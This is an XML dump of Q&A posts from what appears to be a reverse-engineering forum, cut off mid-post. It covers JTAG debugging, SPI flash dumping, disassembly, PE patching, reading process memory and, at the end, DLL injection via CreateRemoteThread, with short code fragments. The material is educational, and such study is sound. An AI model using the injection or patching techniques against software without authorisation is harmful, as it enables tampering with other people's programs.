  <row Id="2779" PostTypeId="2" ParentId="2778" CreationDate="2013-09-10T14:09:34.820" Score="3" Body="&lt;p&gt;Peter Ferrie has written a nice paper on this: &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;nofollow&quot;&gt;The &quot;Ultimate&quot; Anti-Debugger Reference&lt;/a&gt;. A lot of techniques exist, like timing, checking if a process is running named OllyDBG for example. Sometimes people come up with new ideas. Step though your program and try to detect yourself if the program acts differently due to your debugging / olly or vmware (if this is the case).&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-09-10T14:09:34.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2780" PostTypeId="1" CreationDate="2013-09-10T14:19:21.837" Score="10" ViewCount="1203" Body="&lt;p&gt;I have a binary chunk from a piece of hardware I've been deciphering with IDA for a couple days now. Today I finally got a probe connected via JTAG and have openocd start up a GDB server. IDA is connecting to the GDB service but when I attach to process it shows all zeros in memory and the PC is no were where I expect it to be. Basically seems like IDA has no control and is not hooking to it. BTW, the target is running and I rather not do a halt reset if I don't have to. I believe this is possible with JTAG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no process per-say but I really would like to be able to set breakpoints and single step in some places in the code. Obviously there is some setup issue. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a lot to learn and turned out a number of things wrong. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start out with using OPENOCD via the terminal&lt;/li&gt;&#xA;&lt;li&gt;You really need to halt the target to get access to the registers in arm&lt;/li&gt;&#xA;&lt;li&gt;Seemed I had the JTAG speed too high  &lt;/li&gt;&#xA;&lt;li&gt;The device under test had the WDT turned on. Now with that off, I can halt the target and see the correct registers. I could see this was happening since it would start reading the PC just fine but by the time it got to lower regs it would read all F's&lt;/li&gt;&#xA;&lt;li&gt;The DUT has cache and the MMU enabled so although I can halt the target, restarting always ends up with a data abort. Looking at arm11.c in ocd seems there are a bunch of stubs that aren't quite implemented for the cache to be turned on. I've tried flushing the cache before resuming but I still get a data abort. More investigation needed but if anyone has advice, let me know.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thx for your help so far, this surely has been a learning experience.&lt;/p&gt;&#xA;" OwnerUserId="2803" LastEditorUserId="118" LastEditDate="2013-09-13T15:17:26.053" LastActivityDate="2013-09-16T12:50:15.207" Title="Connecting to jtag-openocd-gdb to arm11 device with IDA gets no control" Tags="|ida|hardware|gdb|arm|jtag|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2782" PostTypeId="2" ParentId="1817" CreationDate="2013-09-11T14:52:16.693" Score="9" Body="&lt;p&gt;I would also add &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.smidgeonsoft.prohosting.com/pebrowse-pro-file-viewer.html&quot;&gt;PEBrowse64 Professional&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With the PEBrowse disassembler, one can open and examine any&#xA;  executable without the need to have it loaded as part of an active&#xA;  process with a debugger.  Applications, system DLLs, device-drivers&#xA;  and Microsoft .NET assemblies are all candidates for offline analysis&#xA;  using either PEBrowse programs.  The information is organized in a&#xA;  convenient treeview index with the major divisions of the PE file&#xA;  displayed as nodes.  In most cases selecting nodes will enable&#xA;  context-sensitive multiple view menu options, including binary dump,&#xA;  section detail, disassembly and structure options as well as&#xA;  displaying sub-items, such as optional header directory entries or&#xA;  exported functions, that can be found as part of a PE file unit. &#xA;  Several table displays, hex/ASCII equivalents, window messages and&#xA;  error codes, as well as a calculator and scratchpads are accessible&#xA;  from the main menu (calculator, messages and codes in PEBrowse&#xA;  Professional only).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is an awesome tool with a lot of useful feature regarding executable analysis and there is also a version that could be used and an interactive debugger.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2013-09-11T14:52:16.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2783" PostTypeId="2" ParentId="2720" CreationDate="2013-09-12T03:50:02.017" Score="-1" Body="&lt;p&gt;You can find the toolchain in Western Digital N900's &lt;a href=&quot;http://support.wdc.com/product/download.asp?groupid=1703&amp;amp;sid=179&amp;amp;lang=en&quot; rel=&quot;nofollow&quot;&gt;GPL source code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2814" LastEditorUserId="188" LastEditDate="2013-12-17T08:09:32.577" LastActivityDate="2013-12-17T08:09:32.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2784" PostTypeId="2" ParentId="2780" CreationDate="2013-09-12T14:42:41.847" Score="1" Body="&lt;p&gt;Given that you want to single step you'll be halting the processor sooner or later, what keeps you from trying it now? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to envision how the JTAG unit would be able to inspect the memory if the running program is keeping the bus(ses) in use? I expect the TAP can access some boundary cells while the processor is running as they're basically copied/mirrored values, but other memories I don't know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest halting the target and trying again. It makes most sense to me that IDA can only query and next correctly display the state of the CPU registers and memory when it has control.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-09-12T14:42:41.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2785" PostTypeId="2" ParentId="2337" CreationDate="2013-09-12T17:01:43.097" Score="24" Body="&lt;p&gt;Although I think the questions are too broad and I agree with @cb88 that the datasheet should give you all you need to know, I'll try to answer some.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to dump the memory&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;h2&gt;Desoldering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First option is desoldering the chip from the board. After having done so you have 2 options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read the chip out using a chip programmer like e.g. &lt;a href=&quot;http://www.dataman.com/&quot; rel=&quot;noreferrer&quot;&gt;Dataman&lt;/a&gt; that supports your chip ($$$ expensive solution).&lt;/li&gt;&#xA;&lt;li&gt;Or use a cheap micro controller based solution like a &lt;a href=&quot;http://dangerousprototypes.com/docs/Bus_Pirate&quot; rel=&quot;noreferrer&quot;&gt;Bus Pirate&lt;/a&gt;, an &lt;a href=&quot;http://arduino.cc/en/Reference/SPI&quot; rel=&quot;noreferrer&quot;&gt;Ardunio&lt;/a&gt; or code your own dumper (which is generally not too hard).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h2&gt;In Circuit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you can't or don't want to remove the chip you have again 2 options. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First one is again using a professional programmer or the cheap micro controller based ones mentioned above. There are definitely some pitfalls with this method which I'll describe when answering your 3rd question&lt;/li&gt;&#xA;&lt;li&gt;Alternatively you can monitor the SPI lines and use a Logic Analyzer or micro controller to decode the signals. The downside is that you don't control the addresses that are being read and so you have to somehow generate activity to the SPI Flash and then reconstruct the flash image based on the addresses that are being accessed.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can also use a &lt;a href=&quot;https://www.sparkfun.com/products/13153&quot; rel=&quot;noreferrer&quot;&gt;clip&lt;/a&gt; that is designed to attach the analyzer to the chip in-system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I'd really recommend to desolder the chip. They're almost, if not always edge packaged (e.g. having clearly visible pins on the outside of the package) and not &lt;a href=&quot;http://en.wikipedia.org/wiki/Ball_grid_array&quot; rel=&quot;noreferrer&quot;&gt;Ball Grid Array&lt;/a&gt; (BGA) packages. This makes them easy to remove and also easy to put back. It will save you the headaches you might encounter that I described in the pitfalls section below.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Protection mechanisms&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;OTP memory&lt;/strong&gt; Some of these chips can include One-Time Programmable (OTP) memory in which they store protection bits. I've only seen this being used for locking down area's against writing, not against reading. Otherwise what's the point of having the flash memory? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Encryption&lt;/strong&gt; I have never seen nor could I quickly find any SPI flash chips that offer encryption. This is usually implemented in a memory controller on the System on a Chip (SoC) side that does it on the fly keeping it nice and transparent for the host CPU.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Pitfalls to avoid&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some things to keep in mind;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have nearly no good experiences while trying to dump the memory while keeping the device in-circuit. There are allot of reasons why this could go wrong. &#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The host processors keeps the SPI Flash busy while running it's own program&lt;/li&gt;&#xA;&lt;li&gt;A watch-dog on the host side resets the board because it's peripheral became inaccessible for too long due to you accessing it&lt;/li&gt;&#xA;&lt;li&gt;When you choose to provide the power to the chip yourself, then your programmer/reader might not be able to supply enough current if there's multiple components on the same power rail&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case you're writing your own sniffer make sure it can sample the signals fast enough. For example the bus pirate will fail in all cases because it can only sample at max ~32MHz where allot of SPI Flashes start at 40+MHz. So you'll need at least double the target speed (&lt;a href=&quot;http://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem&quot; rel=&quot;noreferrer&quot;&gt;Sampling Theorem&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flash devices can work at various speeds up to 100+MHz which relate to the various modes (normal read, fast read, dual read, quad read etc) they're in. Such a mode does not only change the speed, but also the way data is transferred. For example in Quad Read mode the flash clocks out 4 bits bits at a time using the SI/SO/WP/Hold signals instead of 'classic' mode where you read out 1 bit per clock cycle from SO (Serial Out). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When acting as the host just make sure you provide enough power and that the signals are high/low at the right times. All this information can be found in the datasheet of the flash chips.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="225" LastEditorUserId="9916" LastEditDate="2016-06-30T08:27:22.910" LastActivityDate="2016-06-30T08:27:22.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2787" PostTypeId="1" AcceptedAnswerId="2788" CreationDate="2013-09-13T10:19:30.487" Score="4" ViewCount="219" Body="&lt;p&gt;I am working on some disassembly from an NEC 78K0R. Most functions have parameters passed in registers, but there are some functions that have compile time defined parameters passed using a method I have not seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Execution of instructions is from flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function, 0x4c4, is called as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;027d9        fdc404      CALL            !4C4H&#xA;027dc        02          ?               ?&#xA;027dd        75          MOV             D,A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The return address is set to 0x27dc and put into the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function itself is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Entry point from call&#xA;004c4        c1          PUSH            AX&#xA;004c5        c3          PUSH            BC&#xA;004c6        c5          PUSH            DE&#xA;004c7        c7          PUSH            HL&#xA;&#xA;// Get the stack pointer into HL&#xA;004c8        aef8        MOVW            AX,SP&#xA;004ca        16          MOVW            HL,AX&#xA;004cb        c7          PUSH            HL&#xA;&#xA;// Preserve the ES (extended segment) register used for addressing&#xA;004cc        8efd        MOV             A,ES&#xA;004ce        c1          PUSH            AX&#xA;&#xA;// Retreive SP + 0x0A - this is the ES part of the return address&#xA;004cf        8c0a        MOV             A,[HL+0AH] &#xA;004d1        9efd        MOV             ES,A&#xA;&#xA;// Retreive SP + 0x8 - this is the lower two bytes of return address&#xA;004d3        ac08        MOVW            AX,[HL+8H] &#xA;004d5        16          MOVW            HL,AX&#xA;&#xA;// Take the contents of memory from the return address into A&#xA;004d6        118b        MOV             A,ES:[HL]&#xA;&#xA;// Not relevant to question&#xA;004d8        74          MOV             E,A&#xA;004d9        c0          POP             AX&#xA;004da        9efd        MOV             ES,A&#xA;004dc        5500        MOV             D,#0H&#xA;&#xA;// HL is the original return address - shift up one to skip to instruction and store back into stack&#xA;004de        a7          INCW            HL&#xA;004df        17          MOVW            AX,HL&#xA;004e0        c6          POP             HL&#xA;004e1        bc08        MOVW            [HL+8H],AX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in short - the parameter 02 is stored in the flash memory in the next address. This is retrieved by using the return address from the stack, and then the return address in the stack in incremented by one so that we get to the next real instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function shifts about the contents of the stack, but I do not think this is material to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not seen this method used before - it's rather curious. I can't work out why it would be done - that's a lot of instructions required, as compared to doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV A,#2&#xA;CALL !4c4H&#xA;&amp;lt;use A as parameter&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any insights to why this has been done like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested, the entire function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004c4        c1          PUSH            AX&#xA;004c5        c3          PUSH            BC&#xA;004c6        c5          PUSH            DE&#xA;004c7        c7          PUSH            HL&#xA;    004c8        aef8        MOVW            AX,SP&#xA;    004ca        16          MOVW            HL,AX&#xA;    004cb        c7          PUSH            HL&#xA;        004cc        8efd        MOV             A,ES&#xA;        004ce        c1          PUSH            AX&#xA;            004cf        8c0a        MOV             A,[HL+0AH] &#xA;            004d1        9efd        MOV             ES,A&#xA;            004d3        ac08        MOVW            AX,[HL+8H] &#xA;            004d5        16          MOVW            HL,AX&#xA;            004d6        118b        MOV             A,ES:[HL]&#xA;            004d8        74          MOV             E,A&#xA;        004d9        c0          POP             AX&#xA;        004da        9efd        MOV             ES,A&#xA;        004dc        5500        MOV             D,#0H&#xA;        004de        a7          INCW            HL&#xA;        004df        17          MOVW            AX,HL&#xA;    004e0        c6          POP             HL&#xA;    004e1        bc08        MOVW            [HL+8H],AX&#xA;    004e3        17          MOVW            AX,HL&#xA;    004e4        25          SUBW            AX,DE&#xA;    004e5        bef8        MOVW            SP,AX&#xA;    004e7        c5          PUSH            DE&#xA;        004e8        14          MOVW            DE,AX&#xA;        004e9        320c00      MOVW            BC,#0CH&#xA;        004ec        8b          MOV             A,[HL]&#xA;        004ed        99          MOV             [DE],A&#xA;        004ee        a7          INCW            HL&#xA;        004ef        a5          INCW            DE&#xA;        004f0        b3          DECW            BC&#xA;        004f1        6171        XOR             A,A&#xA;        004f3        616a        OR              A,C&#xA;        004f5        616b        OR              A,B&#xA;        004f7        dff3        BNZ             $4ECH&#xA;    004f9        c2          POP             BC&#xA;    004fa        aef8        MOVW            AX,SP&#xA;    004fc        040c00      ADDW            AX,#0CH&#xA;    004ff        14          MOVW            DE,AX&#xA;    00500        3620fe      MOVW            HL,#0FE20H&#xA;    00503        fd6104      CALL            !461H&#xA;00506        c6          POP             HL&#xA;00507        c4          POP             DE&#xA;00508        c2          POP             BC&#xA;00509        c0          POP             AX&#xA;0050a        d7          RET      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sub 461 called from above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            00461        c1          PUSH            AX&#xA;            00462        c3          PUSH            BC&#xA;        00463        61dd        PUSH            PSW&#xA;            00465        17          MOVW            AX,HL&#xA;            00466        25          SUBW            AX,DE&#xA;            00467        de18        BNC             $481H&#xA;            00469        37          XCHW            AX,HL&#xA;            0046a        03          ADDW            AX,BC&#xA;            0046b        37          XCHW            AX,HL&#xA;            0046c        35          XCHW            AX,DE&#xA;            0046d        03          ADDW            AX,BC&#xA;            0046e        35          XCHW            AX,DE&#xA;            0046f        61cd        POP             PSW&#xA;            00471        b7          DECW            HL&#xA;            00472        b5          DECW            DE&#xA;            00473        8b          MOV             A,[HL]&#xA;            00474        99          MOV             [DE],A&#xA;            00475        b3          DECW            BC&#xA;            00476        6171        XOR             A,A&#xA;            00478        616a        OR              A,C&#xA;            0047a        616b        OR              A,B&#xA;            0047c        dff3        BNZ             $471H&#xA;        0047e        ee1000      BR              $!491H&#xA;        00481        61cd        POP             PSW&#xA;        00483        c5          PUSH            DE &#xA;        00484        c7          PUSH            HL&#xA;            00485        8b          MOV             A,[HL]&#xA;            00486        99          MOV             [DE],A&#xA;            00487        a7          INCW            HL&#xA;            00488        a5          INCW            DE&#xA;            00489        b3          DECW            BC&#xA;            0048a        13          MOVW            AX,BC&#xA;            0048b        6168        OR              A,X&#xA;            0048d        dff6        BNZ             $485H&#xA;        0048f        c6          POP             HL&#xA;        00490        c4          POP             DE&#xA;    00491        c2          POP             BC&#xA;    00492        c0          POP             AX&#xA;    00493        d7          RET  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also the pre/post of the call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;024fe        c5          PUSH            DE&#xA;024ff        fdc404      CALL            !4C4H&#xA;02502        06          &#xA;02503        9d24        MOV             0FFE24H,A&#xA;02505        33          XCHW            AX,BC&#xA;02506        bd20        MOVW            0FFE20H,AX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2013-09-13T17:26:20.293" LastActivityDate="2013-09-13T21:27:34.603" Title="Passing parameter using data at return address (read from stack) in NEC 78K0R" Tags="|disassembly|nec-78k0r|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2788" PostTypeId="2" ParentId="2787" CreationDate="2013-09-13T10:46:02.530" Score="3" Body="&lt;p&gt;This approach (function call followed by data) is very often used to implement switches/table jumps, especially on platforms with limited flash space (so they prefer to not inline switch code but use a helper routine). I've seen it done on ARM, 8051 and some other CPUs. Since the switch data (values and offsets) is not going to change, it makes sense to put it into the code flash space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: thanks for the full listing. So apparently that value is used to decrement SP, then 12 bytes of saved registers are copied there, then something else happens in &lt;code&gt;sub 461H&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a guess, this sets up the caller's function frame (allocates space for local vars). As to why it's a code byte and not a direct argument, I have only one theory: to save flash space because only one byte is necessary as opposed to the &lt;code&gt;MOV&lt;/code&gt; (at least 2 bytes) or &lt;code&gt;MOV + PUSH&lt;/code&gt; (at least 3 bytes) instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest finding out which compiler was used for this code (Renesas? KPIT?) and searching for this function in runtime libraries. The symbols should help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;: sub 461 seems to be &lt;code&gt;memmove(DE, HL, BC)&lt;/code&gt; with copy direction detection. So it's copying N bytes from FE20 into the newly allocated stack space. Weird stuff.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-09-13T21:27:34.603" LastActivityDate="2013-09-13T21:27:34.603" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="2789" PostTypeId="1" AcceptedAnswerId="2792" CreationDate="2013-09-14T06:29:39.870" Score="7" ViewCount="1534" Body="&lt;p&gt;I'm trying to load a struct defined in a program that i'm reading the memory of, so I can use it to define objects in my python debugger (in windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What format do structs take in memory, and what information can i get from finding the struct.&#xA;Is it possible to find the offsets for all attributes, and all objects linking to the struct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer to be able to do this without using breakpoints, but I can use them if there is no other way.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2013-09-14T18:33:13.817" Title="Read a struct from memory" Tags="|windows|python|c|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2790" PostTypeId="1" AcceptedAnswerId="2791" CreationDate="2013-09-14T06:57:53.203" Score="7" ViewCount="1400" Body="&lt;p&gt;After opening a PE file with  a disassembler, I know which instructions I have to patch. And if I have to add some data I can adjust the PE file structure manually so that it gets parsed correctly and executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example,&#xA;Replace &lt;code&gt;EB 1C&lt;/code&gt; with &lt;code&gt;E9 1C FD&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the question. I have to modify multiple locations and manually adjusting values is killing me. Can I do this with &lt;a href=&quot;http://code.google.com/p/pefile&quot; rel=&quot;noreferrer&quot;&gt;code.google.com/p/pefile&lt;/a&gt; from python, which I am assuming will help in adjusting? Or is there any other module I can use? Some sample code I can find?&lt;/p&gt;&#xA;" OwnerUserId="2822" LastEditorUserId="1924" LastEditDate="2013-09-15T03:39:09.250" LastActivityDate="2020-05-26T23:30:56.750" Title="Patching PE File - Adding data" Tags="|pe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2791" PostTypeId="2" ParentId="2790" CreationDate="2013-09-14T08:39:24.957" Score="10" Body="&lt;p&gt;It is not that easy, or it is rather error prone. If you are going to insert 3 bytes in place of 2 bytes, you would be better off if you do a &lt;code&gt;trampoline&lt;/code&gt;: jump to some other place, do what you want, then jump back to the next instruction. By employing trampolining, you can also save the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small sample could be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp SomePlace  &amp;lt;---destroy old bytes and insert an unconditional jump  &#xA;NextInst:      &amp;lt;----|_________________________  &#xA; ..                                           |    &#xA;SomePlace:                                    |   &#xA;&quot;dancing with wolves&quot;                         |  &#xA;jmp NextInst &amp;lt;------- this will jump back to-&amp;gt;|  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case, if you are interested in replacing two bytes with two bytes, then almost all hex editors have some form of search and replace functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can write a simple script in your favorite utility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple windbg example script for replacing all the &lt;code&gt;push XXXX&lt;/code&gt; &lt;code&gt;68 XXXXXX&lt;/code&gt; bytes to &lt;code&gt;EB FE&lt;/code&gt;. This example is a prototype, you need to tweak it based on the pattern you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All what this does is &lt;code&gt;search&lt;/code&gt; the disassembly for the &lt;code&gt;pattern 68??&lt;/code&gt; (blind search can alter unintended data, use with caution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is found, it uses the address where it was found to replace the two bytes &lt;code&gt;68XX&lt;/code&gt; with &lt;code&gt;EB FE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does this for all the bytes that are found in a given range. In addition to this, it also prints out the assembly prior to modification and after modification:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 68??  pattern search command in windbg &#xA;401000 l?0x20  start search from 0x401000 end at 401020 &#xA;u place l1 disassemble one instruction when pattern found&#xA;ew place feeb  write word 0xfeeb at found address  &#xA;dis assemble again&#xA;loop with foreach where ps and pS are skip before and skip after bytes &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A sample output of the above script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } &#xA;msgbox!start+0x2 [msgbox.asm @ 17]:&#xA;00401002 6800304000      push    offset msgbox!MsgCaption (00403000)&#xA;msgbox!start+0x2 [msgbox.asm @ 17]:&#xA;00401002 ebfe            jmp     msgbox!start+0x2 (00401002)&#xA;msgbox!start+0x7 [msgbox.asm @ 17]:&#xA;00401007 6819304000      push    offset msgbox!MsgBoxText (00403019)&#xA;msgbox!start+0x7 [msgbox.asm @ 17]:&#xA;00401007 ebfe            jmp     msgbox!start+0x7 (00401007)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="3371" LastEditDate="2020-05-26T23:30:56.750" LastActivityDate="2020-05-26T23:30:56.750" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2792" PostTypeId="2" ParentId="2789" CreationDate="2013-09-14T09:04:55.057" Score="5" Body="&lt;p&gt;You should rather ask your questions with some kind of example output so that answers are not based on guesswork. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;em&gt;iam loading the struct&lt;/em&gt; mean &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I wrote a program where I am employing OpenProcess() ReadProcessMemory() &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or does it mean&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i am opening the raw file with FILE * fp ; fopen(&quot;c:\XXX&quot;,&quot;wb&quot;) fread(fp); or load it in say ollydbg or in a hexeditor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assuming you use &lt;code&gt;ReadProcessMemory&lt;/code&gt; &#xA;the buffer you provided will be filled with bytes. It is up to you to cast it to proper type for accessing various members of the struct &#xA;(yes you need a valid prototype of the structure beforehand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pseudo form could be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;type result;&#xA;BYTE foo[0x100];&#xA;Mystruct *blah;&#xA;int s1;&#xA;PSTR s2;&#xA;result = ReadProcessMemory(where,howmuch,destination,VerifiactionPointer)&#xA;blah = (MyStruct *)destination;&#xA;s1 = blah-&amp;gt;someint;&#xA;s2 = blah-&amp;gt;somestring;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Memory you see will always contain hex bytes that are indistinguishable from one another. It is like clay in the hands of a potter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the artisan can give it form. Clay by itself can never become a statue or a finely crafted teapot.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="225" LastEditDate="2013-09-14T18:33:13.817" LastActivityDate="2013-09-14T18:33:13.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2793" PostTypeId="1" AcceptedAnswerId="2794" CreationDate="2013-09-14T15:20:45.010" Score="11" ViewCount="5685" Body="&lt;p&gt;So i just read a little bit about how one would go about for injecting a dll into a running program &lt;a href=&quot;https://en.wikipedia.org/wiki/DLL_injection&quot;&gt;on Wikipedia&lt;/a&gt; (the &lt;code&gt;CreateRemoteThread&lt;/code&gt; idea). I followed the steps described and eventually got it working. The thing i found interesting though which took some time to figure out are the following: When creating my remote thread and sending in the function i would like to be run as the first/starting one i hit a snag, when it was run it failed to call the proper functions, they seemed to turn into rubbish when i looked at them in OllyDBG which in turn resulted in the program crashing down on me. The code i used then was something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static DWORD __stdcall inject(LPVOID threadParam)&#xA;{&#xA;    MessageBoxA(NULL, &quot;test&quot;, &quot;test&quot;, NULL);&#xA;    LoadLibrary(&quot;my.dll&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And somewhere else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CreateRemoteThreadEx(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(fnPageBase), dbPageBase, 0, NULL, &amp;amp;threadId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;fnPageBase&lt;/code&gt; is the memory I've allocated in the to be injected process for my function and dbPageBase the memory I've allocated for a struct that is passed as the &lt;code&gt;LPVOID threadParam&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that, the problem was that both &lt;code&gt;MessageBoxA&lt;/code&gt; and &lt;code&gt;LoadLibrary&lt;/code&gt; didn't get a proper address it would seem, when i checked them in OllyDBG they always pointed to something that didn't exist. I googled around a little and found out that i should be using &lt;code&gt;GetProcAddr&lt;/code&gt; to get a address to ie: &lt;code&gt;LoadLibrary&lt;/code&gt; which i could later use by sending in some data via the &lt;code&gt;LPVOID threadParam&lt;/code&gt; 